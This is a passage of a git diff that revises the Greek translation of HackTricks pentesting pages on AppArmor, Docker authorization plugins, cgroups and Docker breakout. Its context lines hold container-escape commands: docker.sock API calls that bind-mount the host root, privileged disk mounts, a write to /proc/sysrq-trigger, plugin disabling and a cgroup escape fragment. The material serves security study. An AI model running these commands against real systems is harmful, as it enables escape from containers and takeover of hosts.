παρακάτω έξοδο: +Μόλις **τρέξετε ένα docker container**, θα πρέπει να δείτε την παρακάτω έξοδο: ```bash 1 processes are in enforce mode. docker-default (825) ``` -Σημειώστε ότι το **apparmor θα μπλοκάρει ακόμη και τις δυνατότητες προνομίων** που χορηγούνται στο κοντέινερ από προεπιλογή. Για παράδειγμα, θα είναι σε θέση να **μπλοκάρει την άδεια εγγραφής μέσα στο /proc ακόμη και αν η δυνατότητα SYS_ADMIN έχει χορηγηθεί** επειδή από προεπιλογή το προφίλ apparmor του docker αρνείται αυτή την πρόσβαση: +Σημειώστε ότι το **apparmor θα μπλοκάρει ακόμη και τις δυνατότητες προνομίων** που παραχωρούνται στο κοντέινερ από προεπιλογή. Για παράδειγμα, θα είναι σε θέση να **μπλοκάρει την άδεια εγγραφής μέσα στο /proc ακόμη και αν η δυνατότητα SYS_ADMIN παραχωρείται** επειδή από προεπιλογή το προφίλ apparmor του docker αρνείται αυτή την πρόσβαση: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash echo "" > /proc/stat @@ -189,14 +189,14 @@ docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security- ``` Σημειώστε ότι από προεπιλογή το **AppArmor** θα **απαγορεύει επίσης στο κοντέινερ να προσαρτήσει** φακέλους από το εσωτερικό ακόμη και με ικανότητα SYS_ADMIN. -Σημειώστε ότι μπορείτε να **προσθέσετε/αφαιρέσετε** **ικανότητες** στο docker κοντέινερ (αυτό θα είναι ακόμα περιορισμένο από μεθόδους προστασίας όπως το **AppArmor** και το **Seccomp**): +Σημειώστε ότι μπορείτε να **προσθέσετε/αφαιρέσετε** **ικανότητες** στο κοντέινερ docker (αυτό θα είναι ακόμα περιορισμένο από μεθόδους προστασίας όπως το **AppArmor** και το **Seccomp**): - `--cap-add=SYS_ADMIN` δίνει ικανότητα `SYS_ADMIN` - `--cap-add=ALL` δίνει όλες τις ικανότητες - `--cap-drop=ALL --cap-add=SYS_PTRACE` αφαιρεί όλες τις ικανότητες και δίνει μόνο `SYS_PTRACE` > [!NOTE] -> Συνήθως, όταν **ανακαλύπτετε** ότι έχετε μια **προνομιακή ικανότητα** διαθέσιμη **μέσα** σε ένα **docker** κοντέινερ **αλλά** κάποιο μέρος της **εκμετάλλευσης δεν λειτουργεί**, αυτό θα είναι επειδή το docker **το apparmor θα το αποτρέπει**. +> Συνήθως, όταν **ανακαλύπτετε** ότι έχετε μια **προνομιακή ικανότητα** διαθέσιμη **μέσα** σε ένα **docker** κοντέινερ **αλλά** κάποιο μέρος της **εκμετάλλευσης δεν λειτουργεί**, αυτό θα είναι επειδή το docker **apparmor θα το αποτρέπει**. ### Παράδειγμα @@ -232,11 +232,11 @@ docker inspect 9d622d73a614 | grep lowpriv ```bash find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ``` -Σε περίπτωση που μπορείτε να **τροποποιήσετε το προφίλ apparmor docker και να το επαναφορτώσετε.** Μπορείτε να αφαιρέσετε τους περιορισμούς και να τους "παρακάμψετε". +Σε αυτήν την περίεργη περίπτωση μπορείτε να **τροποποιήσετε το προφίλ apparmor docker και να το επαναφορτώσετε.** Μπορείτε να αφαιρέσετε τους περιορισμούς και να τους "παρακάμψετε". ### AppArmor Docker Bypass2 -**Το AppArmor είναι βασισμένο σε διαδρομές**, αυτό σημαίνει ότι ακόμη και αν μπορεί να **προστατεύει** αρχεία μέσα σε έναν φάκελο όπως **`/proc`**, αν μπορείτε να **ρυθμίσετε πώς θα εκτελείται το κοντέινερ**, μπορείτε να **τοποθετήσετε** τον φάκελο proc του host μέσα σε **`/host/proc`** και **δεν θα προστατεύεται πλέον από το AppArmor**. +**Το AppArmor είναι βασισμένο σε διαδρομές**, αυτό σημαίνει ότι ακόμη και αν μπορεί να **προστατεύει** αρχεία μέσα σε έναν φάκελο όπως το **`/proc`**, αν μπορείτε να **ρυθμίσετε πώς θα εκτελείται το κοντέινερ**, μπορείτε να **τοποθετήσετε** τον φάκελο proc του host μέσα σε **`/host/proc`** και **δεν θα προστατεύεται πλέον από το AppArmor**. ### AppArmor Shebang Bypass diff --git a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md index 100fc0a70..747603d10 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md +++ b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md @@ -8,7 +8,7 @@ **[Οι παρακάτω πληροφορίες προέρχονται από τα docs](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)** -Όταν γίνεται μια **HTTP** **αίτηση** στο Docker **daemon** μέσω του CLI ή μέσω του Engine API, το **υποσύστημα αυθεντικοποίησης** **περνά** την αίτηση στα εγκατεστημένα **plugins αυθεντικοποίησης**. Η αίτηση περιέχει τον χρήστη (καλούντα) και το πλαίσιο εντολής. Το **plugin** είναι υπεύθυνο για την απόφαση αν θα **επιτρέψει** ή θα **αρνηθεί** την αίτηση. +Όταν γίνεται ένα **HTTP** **αίτημα** στο Docker **daemon** μέσω του CLI ή μέσω του Engine API, το **υποσύστημα αυθεντικοποίησης** **περνά** το αίτημα στα εγκατεστημένα **plugins αυθεντικοποίησης**. Το αίτημα περιέχει τον χρήστη (καλούντα) και το πλαίσιο εντολής. Το **plugin** είναι υπεύθυνο για την απόφαση αν θα **επιτρέψει** ή θα **αρνηθεί** το αίτημα. Τα διαγράμματα ακολουθίας παρακάτω απεικονίζουν μια ροή εξουσιοδότησης επιτρεπόμενης και αρνητικής: @@ -16,21 +16,21 @@ ![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz_deny.png) -Κάθε αίτηση που αποστέλλεται στο plugin **περιλαμβάνει τον αυθεντικοποιημένο χρήστη, τις HTTP κεφαλίδες και το σώμα αίτησης/απάντησης**. Μόνο το **όνομα χρήστη** και η **μέθοδος αυθεντικοποίησης** που χρησιμοποιείται περνούν στο plugin. Το πιο σημαντικό, **κανένα** διαπιστευτήριο **χρήστη** ή tokens δεν περνούν. Τέλος, **όχι όλα τα σώματα αίτησης/απάντησης αποστέλλονται** στο plugin εξουσιοδότησης. Μόνο εκείνα τα σώματα αίτησης/απάντησης όπου το `Content-Type` είναι είτε `text/*` είτε `application/json` αποστέλλονται. +Κάθε αίτημα που αποστέλλεται στο plugin **περιλαμβάνει τον αυθεντικοποιημένο χρήστη, τις HTTP κεφαλίδες και το σώμα αιτήματος/απάντησης**. Μόνο το **όνομα χρήστη** και η **μέθοδος αυθεντικοποίησης** που χρησιμοποιείται περνούν στο plugin. Το πιο σημαντικό, **κανένα** διαπιστευτήριο **χρήστη** ή tokens δεν περνούν. Τέλος, **όχι όλα τα σώματα αιτήματος/απάντησης αποστέλλονται** στο plugin εξουσιοδότησης. Μόνο εκείνα τα σώματα αιτήματος/απάντησης όπου το `Content-Type` είναι είτε `text/*` είτε `application/json` αποστέλλονται. -Για εντολές που μπορεί να αναλάβουν τη σύνδεση HTTP (`HTTP Upgrade`), όπως το `exec`, το plugin εξουσιοδότησης καλείται μόνο για τις αρχικές HTTP αιτήσεις. Μόλις το plugin εγκρίνει την εντολή, η εξουσιοδότηση δεν εφαρμόζεται στην υπόλοιπη ροή. Συγκεκριμένα, τα δεδομένα ροής δεν περνούν στα plugins εξουσιοδότησης. Για εντολές που επιστρέφουν τμηματική HTTP απάντηση, όπως το `logs` και το `events`, μόνο η HTTP αίτηση αποστέλλεται στα plugins εξουσιοδότησης. +Για εντολές που μπορούν ενδεχομένως να αναλάβουν τον HTTP σύνδεσμο (`HTTP Upgrade`), όπως το `exec`, το plugin εξουσιοδότησης καλείται μόνο για τα αρχικά HTTP αιτήματα. Μόλις το plugin εγκρίνει την εντολή, η εξουσιοδότηση δεν εφαρμόζεται στη συνέχεια της ροής. Συγκεκριμένα, τα δεδομένα streaming δεν περνούν στα plugins εξουσιοδότησης. Για εντολές που επιστρέφουν chunked HTTP απάντηση, όπως το `logs` και το `events`, μόνο το HTTP αίτημα αποστέλλεται στα plugins εξουσιοδότησης. -Κατά τη διάρκεια της επεξεργασίας αίτησης/απάντησης, ορισμένες ροές εξουσιοδότησης μπορεί να χρειαστεί να κάνουν επιπλέον ερωτήματα στο Docker daemon. Για να ολοκληρωθούν αυτές οι ροές, τα plugins μπορούν να καλέσουν το daemon API όπως ένας κανονικός χρήστης. Για να επιτραπούν αυτές οι επιπλέον ερωτήσεις, το plugin πρέπει να παρέχει τα μέσα για έναν διαχειριστή να διαμορφώσει κατάλληλες πολιτικές αυθεντικοποίησης και ασφάλειας. +Κατά τη διάρκεια της επεξεργασίας αιτήματος/απάντησης, ορισμένες ροές εξουσιοδότησης μπορεί να χρειαστεί να κάνουν επιπλέον ερωτήματα στο Docker daemon. Για να ολοκληρωθούν αυτές οι ροές, τα plugins μπορούν να καλέσουν το daemon API παρόμοια με έναν κανονικό χρήστη. Για να επιτραπούν αυτές οι επιπλέον ερωτήσεις, το plugin πρέπει να παρέχει τα μέσα για έναν διαχειριστή να διαμορφώσει κατάλληλες πολιτικές αυθεντικοποίησης και ασφάλειας. ## Πολλά Plugins -Είστε υπεύθυνοι για **την καταχώριση** του **plugin** σας ως μέρος της **εκκίνησης** του Docker daemon. Μπορείτε να εγκαταστήσετε **πολλαπλά plugins και να τα αλυσσοδέσετε**. Αυτή η αλυσίδα μπορεί να είναι διατεταγμένη. Κάθε αίτηση προς το daemon περνά με σειρά μέσω της αλυσίδας. Μόνο όταν **όλα τα plugins παραχωρήσουν πρόσβαση** στο πόρο, η πρόσβαση παραχωρείται. +Είστε υπεύθυνοι για **την καταχώριση** του **plugin** σας ως μέρος της **εκκίνησης** του Docker daemon. Μπορείτε να εγκαταστήσετε **πολλαπλά plugins και να τα αλυσσοδέσετε**. Αυτή η αλυσίδα μπορεί να είναι διατεταγμένη. Κάθε αίτημα προς το daemon περνά με σειρά μέσω της αλυσίδας. Μόνο όταν **όλα τα plugins παραχωρήσουν πρόσβαση** στο πόρο, η πρόσβαση παραχωρείται. # Παραδείγματα Plugins ## Twistlock AuthZ Broker -Το plugin [**authz**](https://github.com/twistlock/authz) σας επιτρέπει να δημιουργήσετε ένα απλό **JSON** αρχείο που το **plugin** θα **διαβάζει** για να εξουσιοδοτήσει τις αιτήσεις. Έτσι, σας δίνει την ευκαιρία να ελέγξετε πολύ εύκολα ποιες API endpoints μπορούν να φτάσουν σε κάθε χρήστη. +Το plugin [**authz**](https://github.com/twistlock/authz) σας επιτρέπει να δημιουργήσετε ένα απλό **JSON** αρχείο που το **plugin** θα **διαβάζει** για να εξουσιοδοτήσει τα αιτήματα. Επομένως, σας δίνει την ευκαιρία να ελέγξετε πολύ εύκολα ποια API endpoints μπορούν να φτάσουν σε κάθε χρήστη. Αυτό είναι ένα παράδειγμα που θα επιτρέπει στους Alice και Bob να δημιουργήσουν νέους κοντέινερ: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` @@ -58,7 +58,7 @@ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubunt ``` ### Εκτέλεση ενός κοντέινερ και στη συνέχεια απόκτηση προνομιακής συνεδρίας -Σε αυτή την περίπτωση, ο διαχειριστής συστήματος **δεν επέτρεψε στους χρήστες να προσαρτούν όγκους και να εκτελούν κοντέινερ με την επιλογή `--privileged`** ή να δίνουν οποιαδήποτε επιπλέον δυνατότητα στο κοντέινερ: +Σε αυτή την περίπτωση, ο διαχειριστής συστήματος **απαγόρευσε στους χρήστες να προσαρτούν όγκους και να εκτελούν κοντέινερ με την επιλογή `--privileged`** ή να δίνουν οποιαδήποτε επιπλέον δυνατότητα στο κοντέινερ: ```bash docker run -d --privileged modified-ubuntu docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed. @@ -76,7 +76,7 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be # With --cap-add=SYS_ADMIN docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash ``` -Τώρα, ο χρήστης μπορεί να ξεφύγει από το κοντέινερ χρησιμοποιώντας οποιαδήποτε από τις [**προηγουμένως συζητηθείσες τεχνικές**](./#privileged-flag) και **να κλιμακώσει τα δικαιώματα** μέσα στον οικοδεσπότη. +Τώρα, ο χρήστης μπορεί να διαφύγει από το κοντέινερ χρησιμοποιώντας οποιαδήποτε από τις [**προηγουμένως συζητηθείσες τεχνικές**](./#privileged-flag) και **να κλιμακώσει τα δικαιώματα** μέσα στον οικοδεσπότη. ## Τοποθέτηση Εγγράψιμου Φακέλου @@ -128,13 +128,13 @@ curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d ' ``` ### Mounts in root -Ακολουθήστε τις ίδιες οδηγίες όπως με **Binds in root** εκτελώντας αυτήν την **αίτηση** στο Docker API: +Ακολουθήστε τις ίδιες οδηγίες όπως με **Binds in root** εκτελώντας αυτήν την **request** στο Docker API: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create ``` ### Mounts in HostConfig -Ακολουθήστε τις ίδιες οδηγίες όπως με **Binds in root** εκτελώντας αυτήν την **request** στο Docker API: +Ακολουθήστε τις ίδιες οδηγίες όπως με **Binds in root** εκτελώντας αυτήν την **αίτηση** στο Docker API: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre ``` @@ -151,11 +151,11 @@ capsh --print #You can abuse the SYS_MODULE capability ``` > [!NOTE] -> Το **`HostConfig`** είναι το κλειδί που συνήθως περιέχει τα **ενδιαφέροντα** **προνόμια** για να ξεφύγετε από το κοντέινερ. Ωστόσο, όπως έχουμε συζητήσει προηγουμένως, σημειώστε πώς η χρήση Binds εκτός αυτού λειτουργεί επίσης και μπορεί να σας επιτρέψει να παρακάμψετε περιορισμούς. +> Το **`HostConfig`** είναι το κλειδί που συνήθως περιέχει τα **ενδιαφέροντα** **προνόμια** για να ξεφύγετε από το κοντέινερ. Ωστόσο, όπως έχουμε συζητήσει προηγουμένως, σημειώστε ότι η χρήση Binds εκτός αυτού λειτουργεί επίσης και μπορεί να σας επιτρέψει να παρακάμψετε περιορισμούς. ## Απενεργοποίηση Πρόσθετου -Εάν ο **sysadmin** **ξέχασε** να **απαγορεύσει** την ικανότητα να **απενεργοποιήσετε** το **πρόσθετο**, μπορείτε να εκμεταλλευτείτε αυτό για να το απενεργοποιήσετε εντελώς! +Εάν ο **διαχειριστής συστήματος** **ξέχασε** να **απαγορεύσει** την ικανότητα να **απενεργοποιήσετε** το **πρόσθετο**, μπορείτε να εκμεταλλευτείτε αυτό για να το απενεργοποιήσετε εντελώς! ```bash docker plugin list #Enumerate plugins diff --git a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md index eea8fbbee..77c09328c 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md +++ b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md @@ -4,15 +4,15 @@ ## Basic Information -**Linux Control Groups**, ή **cgroups**, είναι μια δυνατότητα του πυρήνα Linux που επιτρέπει την κατανομή, τον περιορισμό και την προτεραιοποίηση των πόρων του συστήματος όπως CPU, μνήμη και δίσκος I/O μεταξύ ομάδων διεργασιών. Προσφέρουν έναν μηχανισμό για **τη διαχείριση και την απομόνωση της χρήσης πόρων** συλλογών διεργασιών, ωφέλιμο για σκοπούς όπως ο περιορισμός πόρων, η απομόνωση φορτίου εργασίας και η προτεραιοποίηση πόρων μεταξύ διαφορετικών ομάδων διεργασιών. +**Linux Control Groups**, ή **cgroups**, είναι μια δυνατότητα του πυρήνα Linux που επιτρέπει την κατανομή, τον περιορισμό και την προτεραιοποίηση των πόρων του συστήματος όπως CPU, μνήμη και δίσκος I/O μεταξύ ομάδων διεργασιών. Προσφέρουν έναν μηχανισμό για **τη διαχείριση και την απομόνωση της χρήσης πόρων** των συλλογών διεργασιών, ωφέλιμο για σκοπούς όπως ο περιορισμός πόρων, η απομόνωση φορτίου εργασίας και η προτεραιοποίηση πόρων μεταξύ διαφορετικών ομάδων διεργασιών. Υπάρχουν **δύο εκδόσεις cgroups**: η έκδοση 1 και η έκδοση 2. Και οι δύο μπορούν να χρησιμοποιηθούν ταυτόχρονα σε ένα σύστημα. Η κύρια διάκριση είναι ότι **η έκδοση cgroups 2** εισάγει μια **ιεραρχική, δένδρο-όπως δομή**, επιτρέποντας πιο λεπτομερή και λεπτομερή κατανομή πόρων μεταξύ ομάδων διεργασιών. Επιπλέον, η έκδοση 2 φέρνει διάφορες βελτιώσεις, συμπεριλαμβανομένων: Εκτός από τη νέα ιεραρχική οργάνωση, η έκδοση cgroups 2 εισήγαγε επίσης **πολλές άλλες αλλαγές και βελτιώσεις**, όπως υποστήριξη για **νέους ελεγκτές πόρων**, καλύτερη υποστήριξη για κληρονομημένες εφαρμογές και βελτιωμένη απόδοση. -Συνολικά, η **έκδοση cgroups 2 προσφέρει περισσότερες δυνατότητες και καλύτερη απόδοση** από την έκδοση 1, αλλά η τελευταία μπορεί να χρησιμοποιηθεί σε ορισμένα σενάρια όπου η συμβατότητα με παλαιότερα συστήματα είναι ανησυχία. +Συνολικά, η έκδοση cgroups **2 προσφέρει περισσότερες δυνατότητες και καλύτερη απόδοση** από την έκδοση 1, αλλά η τελευταία μπορεί να χρησιμοποιηθεί σε ορισμένα σενάρια όπου η συμβατότητα με παλαιότερα συστήματα είναι ανησυχία. -Μπορείτε να καταγράψετε τις ομάδες cgroups v1 και v2 για οποιαδήποτε διεργασία κοιτάζοντας το αρχείο cgroup της στο /proc/\. Μπορείτε να ξεκινήσετε κοιτάζοντας τις ομάδες cgroups του shell σας με αυτή την εντολή: +Μπορείτε να καταγράψετε τις cgroups v1 και v2 για οποιαδήποτε διεργασία κοιτάζοντας το αρχείο cgroup της στο /proc/\. Μπορείτε να ξεκινήσετε κοιτάζοντας τις cgroups του shell σας με αυτή την εντολή: ```shell-session $ cat /proc/self/cgroup 12:rdma:/ @@ -27,17 +27,15 @@ $ cat /proc/self/cgroup 1:name=systemd:/user.slice/user-1000.slice/session-2.scope 0::/user.slice/user-1000.slice/session-2.scope ``` -Η δομή εξόδου είναι ως εξής: - - **Αριθμοί 2–12**: cgroups v1, με κάθε γραμμή να αντιπροσωπεύει ένα διαφορετικό cgroup. Οι ελεγκτές για αυτά καθορίζονται δίπλα στον αριθμό. - **Αριθμός 1**: Επίσης cgroups v1, αλλά αποκλειστικά για σκοπούς διαχείρισης (ορισμένο από, π.χ., systemd), και δεν έχει ελεγκτή. - **Αριθμός 0**: Αντιπροσωπεύει cgroups v2. Δεν αναφέρονται ελεγκτές, και αυτή η γραμμή είναι αποκλειστική σε συστήματα που εκτελούν μόνο cgroups v2. -- Οι **ονομασίες είναι ιεραρχικές**, που μοιάζουν με διαδρομές αρχείων, υποδεικνύοντας τη δομή και τη σχέση μεταξύ διαφορετικών cgroups. +- Οι **ονομασίες είναι ιεραρχικές**, μοιάζοντας με διαδρομές αρχείων, υποδεικνύοντας τη δομή και τη σχέση μεταξύ διαφορετικών cgroups. - **Ονομασίες όπως /user.slice ή /system.slice** καθορίζουν την κατηγοριοποίηση των cgroups, με το user.slice συνήθως για συνεδρίες σύνδεσης που διαχειρίζεται το systemd και το system.slice για υπηρεσίες συστήματος. ### Προβολή cgroups -Το σύστημα αρχείων χρησιμοποιείται συνήθως για την πρόσβαση σε **cgroups**, αποκλίνουσα από τη διεπαφή κλήσεων συστήματος Unix που χρησιμοποιείται παραδοσιακά για αλληλεπιδράσεις με τον πυρήνα. Για να εξετάσετε τη διαμόρφωση cgroup ενός shell, θα πρέπει να ελέγξετε το αρχείο **/proc/self/cgroup**, το οποίο αποκαλύπτει το cgroup του shell. Στη συνέχεια, πλοηγούμενοι στον κατάλογο **/sys/fs/cgroup** (ή **`/sys/fs/cgroup/unified`**) και εντοπίζοντας έναν κατάλογο που μοιράζεται το όνομα του cgroup, μπορεί κανείς να παρατηρήσει διάφορες ρυθμίσεις και πληροφορίες χρήσης πόρων σχετικές με το cgroup. +Το σύστημα αρχείων χρησιμοποιείται συνήθως για την πρόσβαση σε **cgroups**, αποκλίνων από τη διεπαφή κλήσεων συστήματος Unix που χρησιμοποιείται παραδοσιακά για αλληλεπιδράσεις με τον πυρήνα. Για να εξετάσετε τη διαμόρφωση cgroup ενός shell, θα πρέπει να ελέγξετε το αρχείο **/proc/self/cgroup**, το οποίο αποκαλύπτει το cgroup του shell. Στη συνέχεια, πλοηγούμενοι στον κατάλογο **/sys/fs/cgroup** (ή **`/sys/fs/cgroup/unified`**) και εντοπίζοντας έναν κατάλογο που μοιράζεται το όνομα του cgroup, μπορεί κανείς να παρατηρήσει διάφορες ρυθμίσεις και πληροφορίες χρήσης πόρων σχετικές με το cgroup. ![Cgroup Filesystem](<../../../images/image (1128).png>) @@ -53,11 +51,11 @@ $ cat /proc/self/cgroup ### Χειρισμός και Δημιουργία cgroups -Οι διαδικασίες ανατίθενται σε cgroups **γράφοντας το Αναγνωριστικό Διαδικασίας (PID) στο αρχείο `cgroup.procs`**. Αυτό απαιτεί δικαιώματα root. Για παράδειγμα, για να προσθέσετε μια διαδικασία: +Οι διαδικασίες ανατίθενται σε cgroups **γράφοντας το Αναγνωριστικό Διαδικασίας (PID) τους στο αρχείο `cgroup.procs`**. Αυτό απαιτεί δικαιώματα root. Για παράδειγμα, για να προσθέσετε μια διαδικασία: ```bash echo [pid] > cgroup.procs ``` -Ομοίως, **η τροποποίηση των χαρακτηριστικών cgroup, όπως η ρύθμιση ενός ορίου PID**, γίνεται γράφοντας την επιθυμητή τιμή στο σχετικό αρχείο. Για να ορίσετε ένα μέγιστο 3.000 PIDs για ένα cgroup: +Ομοίως, **η τροποποίηση των χαρακτηριστικών cgroup, όπως η ρύθμιση ενός ορίου PID**, γίνεται γράφοντας την επιθυμητή τιμή στο σχετικό αρχείο. Για να ορίσετε ένα μέγιστο των 3.000 PIDs για ένα cgroup: ```bash echo 3000 > pids.max ``` @@ -69,14 +67,14 @@ echo 3000 > pids.max ```bash echo "+cpu +pids" > cgroup.subtree_control ``` -Ο **root cgroup** είναι μια εξαίρεση σε αυτούς τους κανόνες, επιτρέποντας άμεση τοποθέτηση διαδικασιών. Αυτό μπορεί να χρησιμοποιηθεί για την αφαίρεση διαδικασιών από τη διαχείριση του systemd. +Ο **root cgroup** είναι μια εξαίρεση στους κανόνες αυτούς, επιτρέποντας την άμεση τοποθέτηση διαδικασιών. Αυτό μπορεί να χρησιμοποιηθεί για την αφαίρεση διαδικασιών από τη διαχείριση του systemd. **Η παρακολούθηση της χρήσης CPU** εντός ενός cgroup είναι δυνατή μέσω του αρχείου `cpu.stat`, το οποίο εμφανίζει τον συνολικό χρόνο CPU που καταναλώθηκε, χρήσιμο για την παρακολούθηση της χρήσης σε υποδιαδικασίες μιας υπηρεσίας:

Στατιστικά χρήσης CPU όπως εμφανίζονται στο αρχείο cpu.stat

-## References +## Αναφορές -- **Book: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward** +- **Βιβλίο: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index dca2dca1c..13c622ef4 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -7,8 +7,8 @@ - [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Μπορεί επίσης να **αριθμήσει τα κοντέινερ** - [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Αυτό το εργαλείο είναι αρκετά **χρήσιμο για να αριθμήσει το κοντέινερ στο οποίο βρίσκεστε και να προσπαθήσει να διαφύγει αυτόματα** - [**amicontained**](https://github.com/genuinetools/amicontained): Χρήσιμο εργαλείο για να αποκτήσετε τα δικαιώματα που έχει το κοντέινερ προκειμένου να βρείτε τρόπους να διαφύγετε από αυτό -- [**deepce**](https://github.com/stealthcopter/deepce): Εργαλείο για να αριθμήσετε και να διαφύγετε από κοντέινερ -- [**grype**](https://github.com/anchore/grype): Αποκτήστε τα CVEs που περιέχονται στο λογισμικό που είναι εγκατεστημένο στην εικόνα +- [**deepce**](https://github.com/stealthcopter/deepce): Εργαλείο για να αριθμήσει και να διαφύγει από κοντέινερ +- [**grype**](https://github.com/anchore/grype): Λάβετε τα CVEs που περιέχονται στο λογισμικό που είναι εγκατεστημένο στην εικόνα ## Διαφυγή από το Εγκατεστημένο Docker Socket @@ -36,7 +36,7 @@ docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --se > [!NOTE] > Σε περίπτωση που το **docker socket είναι σε απροσδόκητη τοποθεσία**, μπορείτε να επικοινωνήσετε μαζί του χρησιμοποιώντας την εντολή **`docker`** με την παράμετρο **`-H unix:///path/to/docker.sock`** -Ο Docker daemon μπορεί επίσης να [ακούει σε μια θύρα (κατά προεπιλογή 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ή σε συστήματα βασισμένα σε Systemd, η επικοινωνία με τον Docker daemon μπορεί να γίνει μέσω του socket Systemd `fd://`. +Ο Docker daemon μπορεί επίσης να [ακούει σε μια θύρα (κατά προεπιλογή 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ή σε συστήματα βασισμένα σε Systemd, η επικοινωνία με τον Docker daemon μπορεί να γίνει μέσω του socket του Systemd `fd://`. > [!NOTE] > Επιπλέον, δώστε προσοχή στα runtime sockets άλλων υψηλού επιπέδου runtimes: @@ -64,7 +64,7 @@ capsh --print ## Διαφυγή από Προνομιακά Κοντέινερ -Ένα προνομιακό κοντέινερ μπορεί να δημιουργηθεί με την επιλογή `--privileged` ή απενεργοποιώντας συγκεκριμένες άμυνες: +Ένα προνομιακό κοντέινερ μπορεί να δημιουργηθεί με τη σημαία `--privileged` ή απενεργοποιώντας συγκεκριμένες άμυνες: - `--cap-add=ALL` - `--security-opt apparmor=unconfined` @@ -76,7 +76,7 @@ capsh --print - `--cgroupns=host` - `Mount /dev` -Η επιλογή `--privileged` μειώνει σημαντικά την ασφάλεια του κοντέινερ, προσφέροντας **απεριόριστη πρόσβαση σε συσκευές** και παρακάμπτοντας **πολλές προστασίες**. Για λεπτομερή ανάλυση, ανατρέξτε στην τεκμηρίωση σχετικά με τις πλήρεις επιπτώσεις της επιλογής `--privileged`. +Η σημαία `--privileged` μειώνει σημαντικά την ασφάλεια του κοντέινερ, προσφέροντας **απεριόριστη πρόσβαση σε συσκευές** και παρακάμπτοντας **πολλές προστασίες**. Για λεπτομερή ανάλυση, ανατρέξτε στην τεκμηρίωση σχετικά με τις πλήρεις επιπτώσεις της `--privileged`. {{#ref}} ../docker-privileged.md @@ -100,7 +100,7 @@ docker run --rm -it --privileged ubuntu bash ``` #### Mounting Disk - Poc1 -Καλά ρυθμισμένα docker containers δεν θα επιτρέψουν εντολές όπως **fdisk -l**. Ωστόσο, σε κακώς ρυθμισμένη docker εντολή όπου η σημαία `--privileged` ή `--device=/dev/sda1` με κεφαλαία έχει καθοριστεί, είναι δυνατόν να αποκτηθούν τα δικαιώματα για να δούμε τον δίσκο του host. +Καλά ρυθμισμένα docker containers δεν θα επιτρέψουν εντολές όπως **fdisk -l**. Ωστόσο, σε κακώς ρυθμισμένη docker εντολή όπου η σημαία `--privileged` ή `--device=/dev/sda1` με κεφαλαία έχει καθοριστεί, είναι δυνατόν να αποκτηθούν τα δικαιώματα για να δει κανείς τον δίσκο του host. ![](https://bestestredteam.com/content/images/2019/08/image-16.png) @@ -113,7 +113,7 @@ mount /dev/sda1 /mnt/hola #### Τοποθέτηση Δίσκου - Poc2 -Μέσα στο κοντέινερ, ένας επιτιθέμενος μπορεί να προσπαθήσει να αποκτήσει περαιτέρω πρόσβαση στο υποκείμενο λειτουργικό σύστημα του host μέσω ενός εγγράψιμου hostPath volume που δημιουργήθηκε από το cluster. Παρακάτω είναι μερικά κοινά πράγματα που μπορείτε να ελέγξετε μέσα στο κοντέινερ για να δείτε αν μπορείτε να εκμεταλλευτείτε αυτόν τον επιθετικό διανύσμα: +Μέσα στο κοντέινερ, ένας επιτιθέμενος μπορεί να προσπαθήσει να αποκτήσει περαιτέρω πρόσβαση στο υποκείμενο λειτουργικό σύστημα του host μέσω ενός εγγράψιμου hostPath volume που έχει δημιουργηθεί από το cluster. Παρακάτω είναι μερικά κοινά πράγματα που μπορείτε να ελέγξετε μέσα στο κοντέινερ για να δείτε αν μπορείτε να εκμεταλλευτείτε αυτό το vector επιθέσεων: ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger @@ -168,7 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1 # Reads the output cat /o ``` -#### 